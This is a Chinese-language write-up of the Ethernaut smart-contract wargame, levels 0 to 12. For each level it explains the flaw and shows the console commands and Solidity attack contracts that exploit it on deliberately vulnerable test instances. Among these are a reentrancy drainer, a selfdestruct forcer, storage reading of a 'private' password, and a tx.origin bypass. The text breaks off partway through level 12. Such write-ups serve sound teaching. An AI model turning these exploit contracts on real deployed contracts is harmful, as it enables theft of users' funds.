当前位置:   article > 正文

[区块链安全-Ethernaut]区块链智能合约安全实战-已完结

ethernaut

[区块链安全-Ethernaut]区块链智能合约安全实战-已完结

准备

随着区块链技术的逐渐推广,区块链安全也逐渐成为研究的热点。在其中,又以智能智能合约安全最为突出。Ethernaut正是入门研究区块链智能合约安全的好工具。

  • 首先,应确保安装Metamask,如果可以使用Google Extension可以直接安装,否则可以使用FireFox安装
  • 新建账号,并连接到RinkeBy Test Network(需要在Setting - Advanced里启用Show test networks,并在网络中进行切换)
    新建账号并连接到Rinkeby网络
    现在就可以开始Ethernaut的探索之旅了!

0. Hello Ethernaut

本节比较简单,所以我将更关注整体过程,介绍Ethernaut的实例创建等等,自己也梳理一下,所以会更详细一些。

准备工作

进入Hello Ethernaut,会自动提示连接Metamask钱包,连接后,示意图如下:
成功连接Metamask
按F12打开开发者工具,在console界面就可以进行智能合约的交互。

Console页面

创建实例并分析

单击 Get New Instance 以创建新的合约实例。

可以看出我们实际上是通过与合约0xD991431D8b033ddCb84dAD257f4821E9d5b38C33交互以创建实例。在辅导参数中,调用0xdfc86b17方法,附带地址为0x4e73b858fd5d7a5fc1c3455061de52a53f35d966作为参数。实际上,所有关卡创建实例时都会向0xD991431D8b033ddCb84dAD257f4821E9d5b38C33,附带的地址则是用来表明所处的关卡,如本例URL地址也为
https://ethernaut.openzeppelin.com/level/0x4E73b858fD5D7A5fc1c3455061dE52a53F35d966

创建合约交易界面
实例已经成功生成,主合约交易截图如下:

主合约交易截图
进入交易详情,查看内部交易,发现合约之间产生了调用。第一笔是由主合约调用关卡合约,第二笔是由关卡合约创建合约实例,其中实例地址为0x87DeA53b8cbF340FAa77C833B92612F49fE3B822

实例创建合约内部调用
回到页面来看,可以确认生成实例的确为0x87DeA53b8cbF340FAa77C833B92612F49fE3B822
页面合约创建成功提醒
下面我们将进行合约的交互以完成本关卡。

合约交互

此时,在console界面可以通过playercontract分别查看用户当前账户和被创建合约实例。player代表用户钱包账户地址,而contract则包含合约实例abiaddress、以及方法信息。

查看合约及用户信息
按照提示要求输入await contract.info() ,得到结果'You will find what you need in info1().'
await contract.info()

输入await contract.info1(),得到结果'Try info2(), but with "hello" as a parameter.'
await contract.info1()`

输入await contract.info2('hello'),得到结果'The property infoNum holds the number of the next info method to call.
await contract.info2('hello')
输入await contract.infoNum(),得到infoNum参数值为42(Word中的首位)。这就是下一步要调用的函数(info42)。
await contract.infoNum()
输入await contract.info42(),得到结果'theMethodName is the name of the next method.,即下一步应当调用theMethodName

await contract.info42()
输入await contract.theMethodName(),得到结果'The method name is method7123949.

await contract.theMethodName()
输入await contract.method7123949(),得到结果'If you know the password, submit it to authenticate().
await contract.method7123949()
所以通过password()可以获取密码ethernaut0,并将其提交到authenticate(string)
找到密码并提交
注意当在进行authenticate()函数时,Metamask会弹出交易确认,这是因为该函数改变了合约内部的状态(以实现对关卡成功的检查工作),而其他先前调用的函数却没有(为View)。
在这里插入图片描述
此时,本关卡已经完成。可以选择Sumbit Instance进行提交,同样要签名完成交易

签名完成提交
在此之后,Console页面弹出成功提示,本关卡完成!

关卡完成

总结

本题比较简单,更多的是要熟悉ethernaut的操作和原理。


1. Fallback

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xe0D053252d87F16F7f080E545ef2F3C157EA8d0E
本关卡要求获得合约的所有权并清空余额
观察其源代码,找到合约所有权变更的入口。找到两个,分别是contribute()receive(),其代码如下:

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }
  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

按照contribute()的逻辑,当用户随调用发送小于0.001 ether其总贡献额超过了owner,即可获得合约的所有权。这个过程看似简单,但是通过以下constructor()函数可以看出,在创建时,owner的创建额为1000 ether,所以这种方法不是很实用。

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }
  • 1
  • 2
  • 3
  • 4

再考虑receive()函数,根据其逻辑,当用户发送任意ether,且在此之前已有贡献(已调用过contribute()函数),即可获得合约所有权。receive()类似于fallback(),当用户发送通证却没有指定函数对应时(如sendTransaction()),会调用该方法。
在获取所有权后,再调用withdraw函数既可以清空合约余额。

合约交互

使用contract命令,查看合约abi及对外函数情况。

合约abi及函数
调用await contract.contribute({value:1}),向合约发送1单位Wei。

await contract.contribute({value:1})
此时,调用await contract.getContribution()查看用户贡献,发现贡献度为1,满足调用receiver()默认函数的最低要求。

await contract.getContribution()
使用await contract.sendTransaction({value:1})构造转账交易发送给合约,
await contract.sendTransaction({value:1})
调用await contract.owner() === player 确认合约所有者已经变更。
await contract.owner()  === player
最后调用await contract.withdraw()取出余额。
await contract.withdraw()
提交实例,显示关卡成功!

关卡成功

总结

本关卡也算比较简单,主要需要分析代码内部的逻辑,理解fallback()receive的原理。


2. Fallout

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x891A088f5597FC0f30035C2C64CadC8b07566DC2
本关卡要求获取合约的所有权。首先使用contract命令查看合约的abi及函数信息。
contract
查看合约源码,寻找可能的突破点。结果发现Fal1out()函数即为突破口。其代码如下:

  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }
  • 1
  • 2
  • 3
  • 4
  • 5

对于Solidity来说,其在0.4.22前的编译器版本支持同合约名的构造函数,如:

pragma solidity ^0.4.21;

contract DemoTest{

    function DemoTest() public{

    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

而在0.4.22起只支持利用constructor()构建,如:

pragma solidity ^0.4.22;

contract DemoTest{
     constructor() public{

    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

但在本关卡中,很明显合约创建者出错,将Fallout写成了Fal1out。所以我们直接调用函数Fal1out即可获得所有权。

合约交互

使用await contract.owner()获取当前合约所有者为0x0地址。
await contract.owner()
调用await contract.Fal1out({value:1})实现所有权的获取。
await contract.Fal1out({value:1})
调用await contract.owner() === player确认已获取合约所有权。
await contract.owner() === player
提交实例,本关卡完成!
关卡成功!

总结

本关卡比较简单,主要考察对于合约细节和构造函数的理解和把握。


3. Coin Flip

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54
本关卡要求连续10次猜对硬币的正反面

我们首先对代码展开观察,其代码示意如下图所示:

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

可知,硬币的正反面是由当前区块前一区块的高度所决定的。如果我们不知道当前区块高度是多少,就难以提前预知硬币的正反面。且同时,合约通过lastHash保证同一区块只能有一次提交。
此处我们将引入合约间调用的概念,正如我们在Hello Ethernaut关卡中分析的那样,合约也可以调用合约,具体操作则作为Internal Txns,但仍与初始调用处于同一区块中。所以我们可以新建自己的智能合约,提前预测硬币正反面,并向关卡合约发出请求。

实例创建合约内部调用

下面就到了合约间调用的内容了,其主要有几种:

  • 使用被调用合约实例(已知被调用合约代码)
  • 使用被调用合约接口实例(仅知道被调用合约接口)
  • 使用call命令调用合约

我们将编写自己的智能合约,从以上三个思路入手,实现合约间调用。

攻击合约编写

利用Remix在线编辑器编写合约,代码如下所示,其中CoinFlipAttack就是我们的攻击合约,而CoinFlipCoinFlipInterface都是为目标合约提供abi接口而定义的:

pragma solidity ^0.6.0;

// 由于使用在线版本remix,所以需要
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/math/SafeMath.sol";

// 用于使用被调用合约实例(已知被调用合约代码)
contract CoinFlip {
// 复制本关卡代码,此处省略....
}

// 用于 使用被调用合约接口实例(仅知道被调用合约接口)
interface CoinFlipInterface {
    function flip(bool _guess) external returns (bool);
}

contract CoinFlipAttacker{
    
    using SafeMath for uint256;
    address private addr;
    CoinFlip cf_ins;
    CoinFlipInterface cf_interface;

    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _addr) public {
        addr = _addr;
        cf_ins = CoinFlip(_addr);
        cf_interface = CoinFlipInterface(_addr);
    }

// 当用户发出请求时,合约在内部先自己做一次运算,得到结果,发起合约内部调用
    function getFlip() private returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        uint256 coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;
        return side;
    }

// 使用被调用合约实例(已知被调用合约代码)
    function attackByIns() public {
        bool side = getFlip();
        cf_ins.flip(side);
    }

// 使用被调用合约接口实例(仅知道被调用合约接口)
    function attackByInterface() public {
        bool side = getFlip();
        cf_interface.flip(side);
    }

// 使用call命令调用合约
    function attackByCall() public {
        bool side = getFlip();
        addr.call(abi.encodeWithSignature("flip(bool)",side));
    }

}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57

合约交互

此时,我们选择0.6.12+commit.27d51765.js的编译器,通过编译,如下图所示:
合约编译
在部署页面,选择Injected Web3,连接Metamask钱包,调用攻击合约的构造函数,其中构造参数传入目标合约0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54

部署合约
小狐狸签名,合约部署完成,攻击合约地址为0xf0467DEE254dA52c8bF922B2A10BB835e7eb49fF,显示如下调用接口,我们接下来将分别从以下三种方式展开攻击:
攻击合约调用接口

  • 使用被调用合约实例(attackByIns)
    在调用前,我们有连续猜中次数为3,如下图所示:
    当前猜中次数
    点击attackByIns,弹出Metamask确认弹窗,确认,当前区块已成功挖出。

attackByIns
而此时连续猜中次数变为4,该方法验证成功!
当前猜中次数

  • 使用被调用合约接口实例(attackByInterface)

此时,连续猜中次数为4,点击attackByInterface,弹出Metamask确认弹窗,确认,当前区块已成功挖出。

attackByInterface而此时连续猜中次数变为5,该方法验证成功!当前猜中次数

  • 使用call命令调用合约(attackByCall)
    此时,连续猜中次数为5,点击attackByCall,弹出Metamask确认弹窗,确认,当前区块已成功挖出。
    attackByCall
    而此时连续猜中次数变为6,该方法验证成功!
    当前猜中次数

无论是哪种方法都可以实现同区块内的合约调用,但一定要注意gas limit的设置,如果不够会爆出out of gas或者reverted的错误,可以在小狐狸确认界面进行设置。

我们接下来可以使用任意调用再做4次直至到10,最终提交!
提交实例,本关卡完成!
关卡成功!

总结

本关卡主要考察solidity的编写及合约间的调用。我在做的时候遇到了很多gas相关的问题,以前不是很注意,现在要非常注意了!


4. Telephone

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xba9405B2d9D1B92032740a67B91690a70B769221
分析其合约源码,要求变更合约所有权,其突破口在于changeOwner函数,函数代码如下所示:

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
  • 1
  • 2
  • 3
  • 4
  • 5

其先决条件在于tx.originmsg.sender不相同,那我们应对此展开研究。

  • tx.origin会遍历整个调用栈并返回最初发送调用(或交易)的帐户的地址。
  • msg.sender为直接调用智能合约功能的帐户或智能合约的地址

两者区别在于如果同一笔交易内有多笔调用,tx.origin保持不变,而msg.sender将会发生改变。我们将以此为根据,编写智能合约,将该合约作为中间人展开攻击。

攻击合约编写

同样在remix中编写合约,合约代码如下,与上一关卡类似,通过interface接口创建合约接口实例,我们则通过attack函数执行攻击

pragma solidity ^0.6.0;

interface TelephoneInterface {
    function changeOwner(address _owner) external;
}



contract TelephoneAttacker {

    TelephoneInterface tele;

    constructor(address _addr) public {
        tele = TelephoneInterface(_addr);
    }

    function attack(address _owner) public {
        tele.changeOwner(_owner);
    }

}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21

合约交互

初始时,合约所有权尚未得到。

合约所有权尚未取得
我们在remix上部署合约,参数附带0xba9405B2d9D1B92032740a67B91690a70B769221以初始化被攻击合约接口实例tele。生成攻击合约地址为0x25C2fdE7f0eC90fD3Ef3532261ed84D0f0201811

部署攻击合约

在remix上调用attack函数,参数为0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b即钱包地址。
attack
此时,再检查所有权发现已发生变更。
所有权已变更
提交实例,本关卡已成功通过。
Success

总结

tx.origin这个有很多合约在用,但如果使用不当,会引起很严重的后果。
比如说,我设置了合约,引起被攻击合约主动发起调用,在接受函数里展开攻击,就可以绕过tx.origin相关的安全设置。


5. Token

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x7867dB9A1E0623e8ec9c0Ab47496166b45832Eb3
由合约创建过程来看,应是实例创建合约0xD991431D8b033ddCb84dAD257f4821E9d5b38C33调用关卡合约0x63bE8347A617476CA461649897238A31835a32CE创建目标合约,并向player转账20token

通证分配信息

分析其合约源码,要求增加已有的通证数量,应该从transfer函数入手,函数代码如下:

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

这里代码里犯了一个错误,那就是对于uint运算没有做溢出检查,举例来说对于8位无符号整型,会有0-1=255255+1=0的错误产生。我们就可以利用这一漏洞,实现通证的无限增发。

合约交互

调用await contract.transfer('0x63bE8347A617476CA461649897238A31835a32CE',21)函数,注意此处不能给自身转账,因为会先出现下溢出,再出现上溢出,我们直接转账给关卡合约21个token,此时20-21发生了下溢出,达到最大值。此时,可以看到,通证数量发生了增长。

token数量增长
提交实例,本关卡通过!
Success!

总结

这就是为什么我们需要Safemath。写合约时一定要注意上溢出和下溢出!

6. Delegation

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x3E446558C8e3BBf1CE93324D330E89e5Fd964b7d
本关卡要求**获取合约Delegation**的所有权。

对合约展开分析,源代码部分提供了两部分合约,一个是Delegate,另一个则是Delegation。两合约间通过Delegationfallback函数,基于delegatecall方法展开调用。

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

对于Delegation合约来说,其内部找不到更换所有权的代码,我们就可以换个思路,看看Delegate合约里有没有。分析合约可以看到,pwn()可以实现。

  function pwn() public {
    owner = msg.sender;
  }
  • 1
  • 2
  • 3

这时候可能有人会感到疑惑,DelegateDelegation是两个不同的合约,如果我们仅去修改Delegate里的owner,会对跨合约调用它的Delegation产生影响吗?

在 Solidity 中,call 函数簇可以实现跨合约的函数调用功能,其中包括 calldelegatecall callcode,我们下面就要来分析以下三种跨合约调用方法的区别(以用户A通过B合约调用C合约为例):

  • call: 最常用的调用方式,调用后内置变量 msg 的值会修改为调用者B,执行环境为被调用者的运行环境C。
  • delegatecall:调用后内置变量 msg 的值A不会修改为调用者,但执行环境为调用者的运行环境B
  • callcode:调用后内置变量 msg 的值会修改为调用者B,但执行环境为调用者的运行环境B

所以当时用delegatecall时,尽管我们是调用Delegate合约中的函数,但实际上,我们是在Delegation环境里去做得,可以理解为将代码“引入”了。因此,我们可以实现合约权的转移。

合约交互

初始化时,有合约所有权并不为player
并未获得所有权
使用contract.sendTransaction({value:1,data:web3.utils.keccak256("pwn()").slice(0,10)})来发起调用,结果失败,仔细一看是因为fallback没有payable修饰。这是一开始的理解错误,观察不够仔细。

调用失败
去掉value,重新调用await contract.sendTransaction({data:web3.utils.keccak256("pwn()").slice(0,10)})。此时合约所有权已完成转移。解释一下,这里data是为了调用pwn函数,使用sha3编码并取了前4个字节,此处因为没有入参,所以作了简化。
获得所有权
提交合约实例,本关卡成功!

Success!

总结

合约间的调用需要非常谨慎,delegate原来是为了编程弹性,但如果处理不当,会给安全带来很大问题!


7. Force

不好意思,最近工作上略有些忙,因为工作涉及到对外网络安全贸易,所以最近一直忙着培训。但这块肯定会持续完成。

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xa39A09c4ebcf4069306147035dd7cE7735A25532
本关卡要求给合约Force转入通证,但是究其合约,似乎并没有payable函数。那么我们该怎么做呢?

在实际中,如果要给智能合约转账,有几种常见方法。

  • Transfer: Throws exception when an error occurs, and the code will not execute afterward
  • Send: The transfer error does not throw an exception and returns true/false. The code will continue to execute.
  • call.value().gas: Transfer error does not throw an exception and returns true/false. The code will execute, but call functions for transfer are prone to reentrancy attacks.

三种方式存在一个前提,即接受合约必须能够接受转账,即存在payable函数,否则将会回退。

那么有没有其他方法呢?

However, there’s another way to transfer funds without obtaining the funds first: The Self Destruct function. Selfdestruct is a function in the Solidity smart contract used to delete contracts on the blockchain. When a contract executes a self-destruct operation, the remaining ether on the contract account will be sent to a specified target, and its storage and code are erased

也就是说,我们可以通过合约的自毁函数,将合约剩下的以太发送给指定地址,此时不需要判断该地址谁否能够接受转账。所以我们可以构建智能合约,完成自毁,即可实现攻击。

合约交互

合约本身并不提供余额查询,所以我们前往链上查询。此时合约余额为0。

目标合约余额为0
我们通过remix构建合约,其中写入自毁函数。

pragma solidity ^0.6.0;

contract ForceAttacker {

    constructor() public payable{

    }

    function destruct(address payable addr) public {
        selfdestruct(addr);
    }

}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

新建合约,部署到Rinkeby测试网,合约地址0x7718f44c496885708ECb8CC84Af4F3d51338cb3C

部署合约

以被攻击合约为变量,调用destruct函数。

发动自毁攻击

此时可以看到,被攻击合约链上地址余额发生变化,从0变为了50。

自毁攻击成功
提交实例,本关卡成功通过!
关卡成功

总结

selfdestruct不会触发payable检查,如果没有很好的检查,很可能会对合约本身的运行带来难以预估的影响。为了防止黑客对于this.balance的操纵,我们应使用balance变量来接受特定业务逻辑的余额。


8. Vault

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x81E840E30457eBF63B41bE233ed81Db4BcCF575E

对合约展开分析,本关卡的要求是解锁,而解锁的唯一办法是输入正确的password。本关卡对password的定义是私有变量,那时不时就看不到了呢?

答案是否定的,一切变量都存储在链上,我们自然可以看到。现在问题就是,在哪看,用什么看?

第一个回答是用什么看?

web3.eth.getStorageAt(address, position [, defaultBlock] [, callback]),使用这个命令可以看到储存在某个地址的存储内容。
其参数代表含义如下:

String - The address to get the storage from.
Number|String|BN|BigNumber - The index position of the storage.
Number|String|BN|BigNumber - (optional) If you pass this parameter it will not use the default block set with web3.eth.defaultBlock. Pre-defined block numbers as "earliest", "latest" and "pending" can also be used.
Function - (optional) Optional callback, returns an error object as first parameter and the result as second.
  • 1
  • 2
  • 3
  • 4

一般来说,我们使用web3.eth.getStorageAt("0x407d73d8a49eeb85d32cf465507dd71d507100c1", 0) .then(console.log);,后面两个参数一般都是可选的。

第二个回答是怎么看?

以太坊数据存储会为合约的每项数据指定一个可计算的存储位置,存放在一个容量为 2^256 的超级数组中,数组中每个元素称为插槽(slot),其初始值为 0。虽然数组容量的上限很高,但实际上存储是稀疏的,只有非零 (空值) 数据才会被真正写入存储。每个数据存储的插槽位置是一定的。

# 插槽式数组存储
----------------------------------
|               0                |     # slot 0
----------------------------------
|               1                |     # slot 1
----------------------------------
|               2                |     # slot 2
----------------------------------
|              ...               |     # ...
----------------------------------
|              ...               |     # 每个插槽 32 字节
----------------------------------
|              ...               |     # ...
----------------------------------
|            2^256-1             |     # slot 2^256-1
----------------------------------
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

每个插槽32字节,对于值类型,其存放是连续的,满足以下规律。

  • 存储插槽的第一项会以低位对齐(即右对齐)的方式储存
  • 基本类型仅使用存储它们所需的字节
  • 如果存储插槽中的剩余空间不足以储存一个基本类型,那么它会被移入下一个存储插槽
  • 结构和数组数据总是会占用一整个新插槽(但结构或数组中的各项,都会以这些规则进行打包)

例如以下合约

pragma solidity ^0.4.0;

contract C {
    address a;      // 0
    uint8 b;        // 0
    uint256 c;      // 1
    bytes24 d;      // 2
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

其存储布局如下:

-----------------------------------------------------
| unused (11) | b (1) |            a (20)           | <- slot 0
-----------------------------------------------------
|                       c (32)                      | <- slot 1
-----------------------------------------------------
| unused (8) |                d (24)                | <- slot 2
-----------------------------------------------------
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

回到本题,很明显存储摆放应该是

-----------------------------------------------------
| unused (31) |           locked(1)          | <- slot 0
-----------------------------------------------------
|                       password (32)                      | <- slot 1
-----------------------------------------------------
  • 1
  • 2
  • 3
  • 4
  • 5

所以我们可以通过slot1获取password信息。

合约交互

输入await web3.eth.getStorageAt(contract.address,1)获取byte32 password
await web3.eth.getStorageAt(contract.address,1)
此时,合约仍然上锁(可通过await contract.locked())查询。

合约仍然上锁
调用await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')实现对合约的解锁。
解锁合约
此时,合约已经解锁。
在这里插入图片描述
提交实例,本关卡成功通过。
关卡成功

总结

区块链上没有秘密。


9 King

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xb21Cf6f8212B2Ef639728Ae87979c6d63d976Ef2。对其合约展开分析,其合约功能在于以下代码段:

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

当接收到外来转账时,如果发送金额大于当前奖金,即将发送金额发送给当前国王,更新奖金,而发送者将成为新的国王。
本关卡目的在于打破这一循环。

打破这一循环的入手点就在于该函数交互实际上是一个连续的过程。

  1. 用户发送指定金额的以太。
  2. 合约将以太转发给当前国王
  3. 更新国王及奖金。

我们只要作为国王,拒不接受合约转来的奖金,整个过程即可回退。

攻击合约编写

我们同样在remix里编写攻击合约。如下:


contract KingAttacker {

    constructor() public payable{

    }

    function attack(address payable addr) public payable{
        addr.call.value(msg.value)("");
    }
    
    fallback() external payable{
        revert();
    }

} 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

在接受函数,我们主动回退,即可防止合约继续执行。

合约交互

首先我们先看看当前我们需传入多少。在目标合约详情页面,可以看到,创建合约时传入0.001Ether。

合约详情
所以我们创建攻击合约(0x9Fd9980aCb9CAb42EDE479e99e01780E8c79b208)后,传入2Finney,调用攻击合约attack方法。

发起攻击
此时我们看看国王,使用await contract._king(),可以看出,国王已经变成攻击合约。
await contract._king()
提交合约,关卡成功!

关卡成功
查看链上数据可知,在执行过程中产生了回滚(revert)。
revert

总结

攻击时可以从合约执行的多个角度入手。


10 Re-entrancy

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2e。对其合约展开分析,其合约提取函数如下:

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

这个合约的问题在哪里呢?那就是他弄错了记账、转账的顺序(先转账,再记账)。一般来说,我们去银行取钱,银行都会先在自己的账本上记一笔,然后才会把钱取出来给我们。虽然说,我们也不可能同时出现在两个地方取钱,但在区块链中,有没有可能呢?

答案是有的,如果我们在接受合约转账的同时又发起新的取钱操作,那么很明显,如果是连续的调用过程,在未修改账本的情况下,合约仍会给用户转账?

那么,怎样做才能保证实现连续的调用呢?那就是使用合约去与被攻击合约进行交互。

攻击合约编写

我们同样在remix里编写攻击合约。如下:

pragma solidity ^0.6.0;


interface Reentrance{
    function donate(address _to) external payable;
    function withdraw(uint _amount) external;
    function balanceOf(address _who) external view returns (uint balanceOf);
}

contract Attacker {
    Reentrance ReentranceImpl;
    uint256 requiredValue;

    constructor(address addr) public payable{
    ReentranceImpl = Reentrance(addr);
    requiredValue = msg.value;
    }

    function getBalance(address addr) public view returns (uint){
        return addr.balance;
    }

    function donate() public {
        ReentranceImpl.donate{value:requiredValue}(address(this));
    }

    function withdraw(uint _amount) public {
        ReentranceImpl.withdraw(_amount);
    }

    function destruct() public {
        selfdestruct(msg.sender);
    }

    fallback() external payable {
        uint256 ReentranceImplValue = address(ReentranceImpl).balance;
        if (ReentranceImplValue >= requiredValue) {
            withdraw(requiredValue);
        }else if(ReentranceImplValue > 0) {
            withdraw(ReentranceImplValue);
        }
    } 
}


  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45

我们使用ReentranceImpl标记目标合约,使用requiredValue来表示合约在目标合约中存的钱。同时,我们又定义fallback函数,每当受到资金时,就会调用withdraw函数,从目标合约中提取余额。让我们进行合约交互。

合约交互

先查看合约本身有多少以太,在浏览器上查看,发现总共有0.001以太。
合约本身有0.001以太
所以我们在部署合约时传入500000000000000 Wei,这样能反复调用三次,以确认合约的攻击效果,同时我们传入目标合约地址0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2e,部署后,攻击合约地址为0xc9bf4c2AcdBd38CF8f73541f78A2E30Eb5e91287

首先我们查询合约本身余额,为500000000000000 Wei,其次我们查询目标合约余额,为1000000000000000 Wei。
合约本身余额
目标合约余额
我们利用donate函数向目标合约存入余额。
存入余额
此时,目标合约的余额也变成了0.0015Ether。
我们接下来发起攻击,即使用withdraw函数提取500000000000000 Wei。发起交易时,应在小狐狸界面修改gas。等待交易完成,此时有合约中实现了三笔转账。
攻击完成
而目标合约余额已经归零,攻击完成!
目标合约归零
提交实例,本关卡完成!
关卡完成

最后别忘了通过合约自毁(destruct)收回余额哦~

状态变化

总结

合约的设计应当充分谨慎,任意一点疏忽都会带来很大影响


11 Elevator

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BE。对其合约展开分析,其合约核心代码如下:

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

由于先判断isLastFloor,不满足后才进入if结构体,并再次获取isLastFloor。该合约于是想当然认为,第二次获取的结果依然不满足,是这样吗?

由于对外调用带来的影响,在外部调用时合约无法控制外部合约的行为。所以我们可以编写智能合约发起相关进攻。

攻击合约编写

我们同样在remix里编写攻击合约。如下:

pragma solidity ^0.6.0;

interface   Elevator{
    function goTo(uint _floor) external;
}

contract Building {

    Elevator elevatorImpl;
    bool isTop;


    constructor(address addr) public {
        elevatorImpl = Elevator(addr);
        isTop = false;
    }

    function flip() public {
        isTop = !isTop;
    }

    function isLastFloor(uint) public returns (bool){
        bool res = isTop;
        flip();
        return res;
    }
    
    function attack() public {
        elevatorImpl.goTo(1);
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31

其核心之处在于,每次调用isLastFloor函数都会内部调用flip函数完成变量isTop的翻转,因此连续两次获取的结果是不一样的。

合约交互

输入await contract.top()查看是否为顶层,结果为false。
await contract.top()
部署合约,传入目标合约0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BE,构建合约的地址为0x0906dCbd3C31CDfB6A490A04D7ea03fC19F7a40a

调用attack()函数,发起对目标合约的攻击。
attack()
此时,再次查看,输入await contract.top()查看是否为顶层,结果为true。
await contract.top()
提交实例,本关卡成功!
关卡成功!

总结

合约是难以相信的,即使合约编写的再好,无法控制他人的行为,也毫无用处。


12 Privacy

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x5a5F99370275Ca9068DfDF9E9edEB40Cb8d9aeFf。对其合约展开分析,其合约核心代码如下:

  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }
  • 1
  • 2
  • 3
  • 4

此时,应当输入data[2],而这又该怎么获得呢?很明显,我们还是要从存储机制入手。

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
